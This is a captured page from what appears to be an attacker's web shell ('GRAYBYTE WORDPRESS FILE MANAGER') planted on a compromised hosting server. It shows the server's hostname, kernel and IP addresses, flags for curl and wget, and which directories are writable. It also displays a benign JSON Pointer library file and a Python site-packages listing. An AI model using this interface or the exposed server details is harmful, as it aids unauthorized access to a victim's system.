✘✘ GRAYBYTE WORDPRESS FILE MANAGER ✘✘

​🇳​​🇦​​🇲​​🇪♯➤ cp240.webserver.pt ​🇻​♯➤ 4.18.0-553.121.1.lve.el8.x86_64 #1 SMP 🇾​♯➤ 2026

𝗛𝗢𝗠𝗘 𝗜𝗗 ♯➤ 62.193.192.154 ♯➤ 𝗔𝗗𝗠𝗜𝗡 𝗜𝗗 216.73.216.64
𝗢𝗣𝗧𝗜𝗢𝗡𝗦 ♯ CRL ♯➤ 𝗢𝗞 ┃ WGT ♯➤ 𝗢𝗞 ┃ SDO ♯➤ 𝗢𝗙𝗙 ┃ PKEX ♯➤ 𝗢𝗙𝗙
𝗗𝗘𝗔𝗖𝗧𝗜𝗩𝗔𝗧𝗘𝗗 ♯➤ 𝗔𝗟𝗟 𝗪𝗢𝗥𝗞𝗜𝗡𝗚....

𝗛𝗢𝗠𝗘
𝗖𝗨𝗥𝗥𝗘𝗡𝗧 𝗙𝗜𝗟𝗘 : /lib/python3.6/site-packages//jsonpointer.py
# -*- coding: utf-8 -*-
#
# python-json-pointer - An implementation of the JSON Pointer syntax
# https://github.com/stefankoegl/python-json-pointer
#
# Copyright (c) 2011 Stefan Kögl <stefan@skoegl.net>
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions
# are met:
#
# 1. Redistributions of source code must retain the above copyright
#    notice, this list of conditions and the following disclaimer.
# 2. Redistributions in binary form must reproduce the above copyright
#    notice, this list of conditions and the following disclaimer in the
#    documentation and/or other materials provided with the distribution.
# 3. The name of the author may not be used to endorse or promote products
#    derived from this software without specific prior written permission.
#
# THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
# IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
# OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
# IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
# INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
# NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
# DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
# THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
# (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
# THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
#

from __future__ import unicode_literals

""" Identify specific nodes in a JSON document (RFC 6901) """

try:
    from collections.abc import Mapping, Sequence
except ImportError:
    from collections import Mapping, Sequence

# Will be parsed by setup.py to determine package metadata
__author__ = 'Stefan Kögl <stefan@skoegl.net>'
__version__ = '1.10'
__website__ = 'https://github.com/stefankoegl/python-json-pointer'
__license__ = 'Modified BSD License'


try:
    from urllib import unquote
    from itertools import izip
    str = unicode
except ImportError: # Python 3
    from urllib.parse import unquote
    izip = zip

from itertools import tee
import re
import copy


# array indices must not contain leading zeros, signs, spaces, decimals, etc
RE_ARRAY_INDEX=re.compile('0|[1-9][0-9]*$')


class JsonPointerException(Exception):
    pass


class EndOfList(object):
    """ Result of accessing element "-" of a list """

    def __init__(self, list_):
        self.list_ = list_


    def __repr__(self):
        return '{cls}({lst})'.format(cls=self.__class__.__name__,
                lst=repr(self.list_))


_nothing = object()


def resolve_pointer(doc, pointer, default=_nothing):
    """
    Resolves pointer against doc and returns the referenced object

    >>> obj = {"foo": {"anArray": [ {"prop": 44}], "another prop": {"baz": "A string" }}}

    >>> resolve_pointer(obj, '') == obj
    True

    >>> resolve_pointer(obj, '/foo') == obj['foo']
    True

    >>> resolve_pointer(obj, '/foo/another%20prop') == obj['foo']['another prop']
    True

    >>> resolve_pointer(obj, '/foo/another%20prop/baz') == obj['foo']['another prop']['baz']
    True

    >>> resolve_pointer(obj, '/foo/anArray/0') == obj['foo']['anArray'][0]
    True

    >>> resolve_pointer(obj, '/some/path', None) == None
    True

    """

    pointer = JsonPointer(pointer)
    return pointer.resolve(doc, default)

def set_pointer(doc, pointer, value, inplace=True):
    """
    Resolves pointer against doc and sets the value of the target within doc.

    With inplace set to true, doc is modified as long as pointer is not the
    root.

    >>> obj = {"foo": {"anArray": [ {"prop": 44}], "another prop": {"baz": "A string" }}}

    >>> set_pointer(obj, '/foo/anArray/0/prop', 55) == \
    {'foo': {'another prop': {'baz': 'A string'}, 'anArray': [{'prop': 55}]}}
    True

    >>> set_pointer(obj, '/foo/yet%20another%20prop', 'added prop') == \
    {'foo': {'another prop': {'baz': 'A string'}, 'yet another prop': 'added prop', 'anArray': [{'prop': 55}]}}
    True

    """

    pointer = JsonPointer(pointer)
    return pointer.set(doc, value, inplace)


class JsonPointer(object):
    """ A JSON Pointer that can reference parts of an JSON document """

    def __init__(self, pointer):
        parts = pointer.split('/')
        if parts.pop(0) != '':
            raise JsonPointerException('location must starts with /')

        parts = map(unquote, parts)
        parts = [part.replace('~1', '/') for part in parts]
        parts = [part.replace('~0', '~') for part in parts]
        self.parts = parts


    def to_last(self, doc):
        """ Resolves ptr until the last step, returns (sub-doc, last-step) """

        if not self.parts:
            return doc, None

        for part in self.parts[:-1]:
            doc = self.walk(doc, part)

        return doc, self.get_part(doc, self.parts[-1])


    def resolve(self, doc, default=_nothing):
        """Resolves the pointer against doc and returns the referenced object"""

        for part in self.parts:

            try:
                doc = self.walk(doc, part)
            except JsonPointerException:
                if default is _nothing:
                    raise
                else:
                    return default

        return doc


    get = resolve

    def set(self, doc, value, inplace=True):
        """ Resolve the pointer against the doc and replace the target with value. """

        if len(self.parts) == 0:
            if inplace:
                raise JsonPointerException('cannot set root in place')
            return value

        if not inplace:
            doc = copy.deepcopy(doc)

        (parent, part) = self.to_last(doc)

        parent[part] = value
        return doc

    def get_part(self, doc, part):
        """ Returns the next step in the correct type """

        if isinstance(doc, Mapping):
            return part

        elif isinstance(doc, Sequence):

            if part == '-':
                return part

            if not RE_ARRAY_INDEX.match(str(part)):
                raise JsonPointerException("'%s' is not a valid list index" % (part, ))

            return int(part)

        elif hasattr(doc, '__getitem__'):
            # Allow indexing via ducktyping if the target has defined __getitem__
            return part

        else:
            raise JsonPointerException("Document '%s' does not support indexing, "
                                       "must be dict/list or support __getitem__" % type(doc))


    def walk(self, doc, part):
        """ Walks one step in doc and returns the referenced part """

        part = self.get_part(doc, part)

        assert (type(doc) in (dict, list) or hasattr(doc, '__getitem__')), "invalid document type %s" % (type(doc),)

        if isinstance(doc, Mapping):
            try:
                return doc[part]

            except KeyError:
                raise JsonPointerException("member '%s' not found in %s" % (part, doc))

        elif isinstance(doc, Sequence):

            if part == '-':
                return EndOfList(doc)

            try:
                return doc[part]

            except IndexError:
                raise JsonPointerException("index '%s' is out of bounds" % (part, ))

        else:
            # Object supports __getitem__, assume custom indexing
            return doc[part]

    def contains(self, ptr):
        """Returns True if self contains the given ptr"""
        return self.parts[:len(ptr.parts)] == ptr.parts

    def __contains__(self, item):
        """Returns True if self contains the given ptr"""
        return self.contains(item)

    @property
    def path(self):
        """ Returns the string representation of the pointer

        >>> ptr = JsonPointer('/~0/0/~1').path == '/~0/0/~1'
        """
        parts = [part.replace('~', '~0') for part in self.parts]
        parts = [part.replace('/', '~1') for part in parts]
        return ''.join('/' + part for part in parts)

    def __eq__(self, other):
        """ compares a pointer to another object

        Pointers can be compared by comparing their strings (or splitted
        strings), because no two different parts can point to the same
        structure in an object (eg no different number representations) """

        if not isinstance(other, JsonPointer):
            return False

        return self.parts == other.parts


    def __hash__(self):
        return hash(tuple(self.parts))

    @classmethod
    def from_parts(cls, parts):
        """ Constructs a JsonPointer from a list of (unescaped) paths

        >>> JsonPointer.from_parts(['a', '~', '/', 0]).path == '/a/~0/~1/0'
        True
        """
        parts = [str(part) for part in parts]
        parts = [part.replace('~', '~0') for part in parts]
        parts = [part.replace('/', '~1') for part in parts]
        ptr = cls(''.join('/' + part for part in parts))
        return ptr



def pairwise(iterable):
    """ s -> (s0,s1), (s1,s2), (s2, s3), ...

    >>> list(pairwise([]))
    []

    >>> list(pairwise([1]))
    []

    >>> list(pairwise([1, 2, 3, 4]))
    [(1, 2), (2, 3), (3, 4)]
    """
    a, b = tee(iterable)
    for _ in b:
        break
    return izip(a, b)


Current_dir [ 𝗡𝗢𝗧 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ] Document_root [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ]


[ Back ]
𝗡𝗔𝗠𝗘
𝗦𝗜𝗭𝗘
𝗟𝗔𝗦𝗧 𝗧𝗢𝗨𝗖𝗛
𝗨𝗦𝗘𝗥
𝗦𝗧𝗔𝗧𝗨𝗦
𝗙𝗨𝗡𝗖𝗧𝗜𝗢𝗡𝗦
..
--
28 Apr 2026 5.55 AM
root / root
0755
Babel-2.5.1-py3.6.egg-info
--
25 Feb 2025 10.23 AM
root / root
0755
Jinja2-2.10.1-py3.6.egg-info
--
5 May 2026 10.21 AM
root / root
0755
OpenSSL
--
5 May 2026 11.10 AM
root / root
0755
PyJWT-1.6.1-py3.6.egg-info
--
25 Feb 2025 10.23 AM
root / root
0755
PySocks-1.6.8-py3.6.egg-info
--
25 Feb 2025 10.23 AM
root / root
0755
__pycache__
--
30 May 2026 2.37 AM
root / root
0755
babel
--
25 Feb 2025 10.23 AM
root / root
0755
beautifulsoup4-4.6.3-py3.6.egg-info
--
5 May 2026 11.09 AM
root / root
0755
bs4
--
5 May 2026 11.09 AM
root / root
0755
chardet
--
25 Feb 2025 10.23 AM
root / root
0755
chardet-3.0.4-py3.6.egg-info
--
25 Feb 2025 10.23 AM
root / root
0755
cloud_init-23.4-py3.6.egg-info
--
29 May 2026 2.36 AM
root / root
0755
cloudinit
--
29 May 2026 2.36 AM
root / root
0755
crit
--
3 Jun 2026 2.36 AM
root / root
0755
crit-4.2-py3.6.egg-info
--
3 Jun 2026 2.36 AM
root / root
0755
cssselect
--
5 May 2026 11.09 AM
root / root
0755
cssselect-0.9.2-py3.6.egg-info
--
5 May 2026 11.09 AM
root / root
0755
dateutil
--
31 Jul 2024 2.20 PM
root / root
0755
decorator-4.2.1-py3.6.egg-info
--
31 Jul 2024 2.20 PM
root / root
0755
distro-1.4.0-py3.6.egg-info
--
30 May 2026 2.37 AM
root / root
0755
dnf
--
5 May 2026 11.01 AM
root / root
0755
dnf-plugins
--
30 May 2026 2.37 AM
root / root
0755
dnfpluginscore
--
31 Jul 2024 2.20 PM
root / root
0755
dns
--
5 May 2026 11.01 AM
root / root
0755
dnspython-1.15.0-py3.6.egg-info
--
5 May 2026 11.01 AM
root / root
0755
firewall
--
28 May 2026 2.39 AM
root / root
0755
google
--
3 Jun 2026 2.36 AM
root / root
0755
html2text
--
5 May 2026 11.01 AM
root / root
0755
html2text-2019.9.26-py3.6.egg-info
--
5 May 2026 11.01 AM
root / root
0755
html5lib
--
5 May 2026 11.09 AM
root / root
0755
html5lib-0.999999999-py3.6.egg-info
--
5 May 2026 11.09 AM
root / root
0755
idna
--
25 Feb 2025 10.23 AM
root / root
0755
idna-2.5-py3.6.egg-info
--
25 Feb 2025 10.23 AM
root / root
0755
iotop
--
5 May 2026 11.00 AM
root / root
0755
isc
--
9 Jun 2026 2.36 AM
root / root
0755
jinja2
--
5 May 2026 10.21 AM
root / root
0755
jsonpatch-1.21-py3.6.egg-info
--
25 Feb 2025 10.23 AM
root / root
0755
jsonpointer-1.10-py3.6.egg-info
--
25 Feb 2025 10.23 AM
root / root
0755
jsonschema
--
25 Feb 2025 10.23 AM
root / root
0755
jsonschema-2.6.0-py3.6.egg-info
--
25 Feb 2025 10.23 AM
root / root
0755
jwt
--
25 Feb 2025 10.23 AM
root / root
0755
nftables
--
5 May 2026 11.14 AM
root / root
0755
oauthlib
--
25 Feb 2025 10.23 AM
root / root
0755
oauthlib-2.1.0-py3.6.egg-info
--
25 Feb 2025 10.23 AM
root / root
0755
packaging
--
5 May 2026 11.09 AM
root / root
0755
packaging-16.8.dist-info
--
5 May 2026 11.09 AM
root / root
0755
pip
--
25 Feb 2025 10.16 AM
root / root
0755
pip-9.0.3.dist-info
--
25 Feb 2025 10.16 AM
root / root
0755
pkg_resources
--
5 May 2026 10.21 AM
root / root
0755
ply
--
25 Feb 2025 10.23 AM
root / root
0755
ply-3.9-py3.6.egg-info
--
25 Feb 2025 10.23 AM
root / root
0755
prettytable-0.7.2-py3.6.egg-info
--
25 Feb 2025 10.23 AM
root / root
0755
procfs
--
31 Jul 2024 2.20 PM
root / root
0755
protobuf-3.5.0-py3.6.egg-info
--
3 Jun 2026 2.36 AM
root / root
0755
pyOpenSSL-19.0.0-py3.6.egg-info
--
5 May 2026 11.10 AM
root / root
0755
pycparser
--
25 Feb 2025 10.23 AM
root / root
0755
pycparser-2.14-py3.6.egg-info
--
25 Feb 2025 10.23 AM
root / root
0755
pycriu
--
3 Jun 2026 2.36 AM
root / root
0755
pycriu-4.2-py3.6.egg-info
--
3 Jun 2026 2.36 AM
root / root
0755
pyparsing-2.1.10.dist-info
--
31 Jul 2024 2.47 PM
root / root
0755
pyserial-3.1.1-py3.6.egg-info
--
25 Feb 2025 10.23 AM
root / root
0755
python_dateutil-2.6.1-py3.6.egg-info
--
31 Jul 2024 2.20 PM
root / root
0755
python_linux_procfs-0.7.3-py3.6.egg-info
--
31 Jul 2024 2.20 PM
root / root
0755
pytz
--
25 Feb 2025 10.23 AM
root / root
0755
pytz-2017.2-py3.6.egg-info
--
25 Feb 2025 10.23 AM
root / root
0755
pyudev
--
31 Jul 2024 2.20 PM
root / root
0755
pyudev-0.21.0-py3.6.egg-info
--
31 Jul 2024 2.20 PM
root / root
0755
requests
--
5 May 2026 10.21 AM
root / root
0755
requests-2.20.0-py3.6.egg-info
--
5 May 2026 10.21 AM
root / root
0755
rhn
--
30 May 2026 2.37 AM
root / root
0755
sepolgen
--
5 May 2026 11.14 AM
root / root
0755
sepolicy
--
5 May 2026 11.14 AM
root / root
0755
serial
--
25 Feb 2025 10.23 AM
root / root
0755
setuptools
--
5 May 2026 10.21 AM
root / root
0755
setuptools-39.2.0.dist-info
--
5 May 2026 10.21 AM
root / root
0755
six-1.11.0.dist-info
--
31 Jul 2024 2.20 PM
root / root
0755
slip
--
31 Jul 2024 2.20 PM
root / root
0755
syspurpose
--
5 May 2026 11.14 AM
root / root
0755
syspurpose-1.28.44-py3.6.egg-info
--
5 May 2026 11.14 AM
root / root
0755
tuned
--
5 May 2026 11.14 AM
root / root
0755
up2date_client
--
30 May 2026 2.37 AM
root / root
0755
urllib3
--
5 May 2026 10.21 AM
root / root
0755
urllib3-1.24.2-py3.6.egg-info
--
5 May 2026 10.21 AM
root / root
0755
webencodings
--
5 May 2026 11.09 AM
root / root
0755
webencodings-0.5.1-py3.6.egg-info
--
5 May 2026 11.09 AM
root / root
0755
_version.py
0.021 KB
26 Aug 2014 1.11 AM
root / root
0644
configobj-5.0.6-py3.6.egg-info
2.955 KB
14 Nov 2019 5.06 PM
root / root
0644
configobj.py
87.526 KB
26 Aug 2014 1.11 AM
root / root
0644
decorator.py
16.18 KB
14 Jan 2018 10.00 AM
root / root
0644
distro.py
42.237 KB
4 Feb 2019 8.25 AM
root / root
0644
easy_install.py
0.123 KB
15 Jul 2025 9.13 AM
root / root
0644
hwdata.py
7.951 KB
12 Feb 2018 8.49 AM
root / root
0644
iotop-0.6-py3.6.egg-info
0.34 KB
6 Apr 2024 2.56 PM
root / root
0644
isc-2.0-py3.6.egg-info
0.261 KB
8 Jun 2026 3.36 AM
root / root
0644
jsonpatch.py
23.896 KB
30 Dec 2017 2.06 PM
root / root
0644
jsonpointer.py
9.148 KB
28 Oct 2015 7.06 PM
root / root
0644
nftables-0.1-py3.6.egg-info
0.608 KB
28 Jan 2025 1.24 AM
root / root
0644
pciutils-2.3.6-py3.6.egg-info
0.236 KB
19 Nov 2019 6.36 AM
root / root
0644
prettytable.py
52.934 KB
6 Apr 2013 11.44 PM
root / root
0644
protobuf-3.5.0-py3.6-nspkg.pth
0.526 KB
7 Oct 2025 9.25 AM
root / root
0644
pyparsing.py
224.479 KB
13 Nov 2019 10.36 AM
root / root
0644
seobject.py
106.421 KB
2 Jul 2024 9.08 PM
root / root
0644
sepolicy-1.1-py3.6.egg-info
0.222 KB
2 Jul 2024 9.08 PM
root / root
0644
six.py
30.164 KB
13 Nov 2019 2.45 PM
root / root
0644
slip-0.6.4-py3.6.egg-info
0.191 KB
8 Oct 2022 1.05 PM
root / root
0644
slip.dbus-0.6.4-py3.6.egg-info
0.263 KB
8 Oct 2022 1.05 PM
root / root
0644
socks.py
31.524 KB
21 Dec 2017 4.05 AM
root / root
0644
sockshandler.py
2.845 KB
21 Dec 2017 4.05 AM
root / root
0644
validate.py
46.13 KB
26 Aug 2014 1.11 AM
root / root
0644

✘✘ GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME ✘✘
Static GIF Static GIF